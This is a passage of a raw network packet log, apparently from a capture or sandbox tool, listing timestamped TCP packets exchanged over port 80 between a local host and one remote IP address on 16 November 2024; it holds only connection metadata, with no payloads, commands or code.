Nov 16, 2024 04:33:26.541621923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541647911 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541647911 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541649103 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.541656017 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.541740894 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574310064 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574405909 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574470043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574470043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574525118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574561119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574604988 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574604988 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574615002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574651957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574703932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574726105 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574739933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574779987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574803114 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.574832916 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574867010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574903965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.574964046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575006008 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575006008 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575017929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575072050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575105906 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575110912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575146914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575181007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575202942 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575217962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575268984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575299025 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575300932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575361013 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575370073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575470924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575506926 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575517893 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575542927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575577974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575630903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575664043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575697899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575731993 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575788975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575810909 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575812101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575812101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575812101 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575824976 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575860977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575891018 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575944901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575979948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.575994968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.575994968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576025009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576030970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576081991 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576116085 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576139927 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576150894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576184988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576220036 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576252937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576288939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576322079 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576361895 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576361895 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576361895 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576374054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576404095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576452971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576462030 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576488972 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576539040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576575994 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576625109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576661110 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576694965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576729059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576761007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576795101 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576807022 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576807022 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576807022 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576807022 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576828957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576838970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576870918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576900005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576916933 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.576932907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576967001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.576998949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577022076 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577033997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577063084 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577069044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577102900 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577141047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577145100 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577145100 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577178955 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577213049 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577244043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577248096 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577284098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577310085 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577321053 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577361107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577399015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577431917 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577465057 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577466965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577564001 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577581882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577616930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577645063 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577651978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577662945 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577687979 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577723026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577756882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577759027 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577805996 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577809095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577826023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577838898 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577856064 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577872038 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577886105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577896118 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577897072 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577899933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577913046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577925920 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577961922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.577967882 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577967882 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.577996016 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.578084946 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.578084946 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581517935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581569910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581604958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581620932 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581639051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581675053 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581681967 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581710100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581747055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581780910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581806898 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581823111 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581834078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581867933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581922054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581942081 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.581955910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.581991911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.582010031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.582026005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.582030058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.582030058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.582089901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583251953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583268881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583285093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583338976 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583374023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583390951 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583409071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583427906 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583446026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583446980 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583465099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583478928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583487034 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583487034 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583497047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583513021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583534002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583543062 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583569050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.583642006 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.583689928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.636404037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.636476040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.636513948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.636548042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.636584997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.636648893 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.636648893 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658377886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658462048 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658483982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658518076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658552885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658588886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658620119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658653021 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658658981 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658658981 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658689976 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658725023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658759117 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658761024 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658813000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658848047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658859015 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658859015 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658883095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658936977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.658982992 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.658986092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659023046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659058094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659070969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.659095049 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659101009 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.659132004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659164906 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659179926 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.659198999 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659233093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659265995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.659337997 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.661854982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.691627026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691700935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691756964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691792965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691850901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691889048 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.691889048 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.691900969 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691936970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.691992998 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692019939 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692044973 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692095995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692130089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692135096 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692179918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692214966 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692240000 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692240000 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692265987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692316055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692348957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692368984 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692385912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692421913 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692425013 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692456961 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692491055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692542076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692543983 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692574978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692626953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692631006 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692631006 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692662954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692696095 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692729950 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692755938 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692781925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692816019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692848921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692873955 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692873955 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692900896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692929983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.692960978 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.692980051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693015099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693065882 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693100929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693104982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693104982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693136930 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693171978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693185091 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693206072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693239927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693273067 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693308115 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693341017 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693356037 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693356037 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693394899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693428040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693461895 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693495035 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693528891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693532944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693532944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693562984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693599939 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693650007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693661928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693661928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693685055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693715096 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693732023 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693768978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693804026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693836927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693842888 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693871975 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693907022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693942070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.693981886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693981886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.693993092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694000006 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694030046 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694080114 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694097042 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694117069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694149971 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694189072 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694238901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694262028 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694274902 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694308996 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694315910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694315910 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694343090 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694377899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694412947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694420099 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694451094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694487095 CET	80	49742	185.215.113.16	192.168.2.4
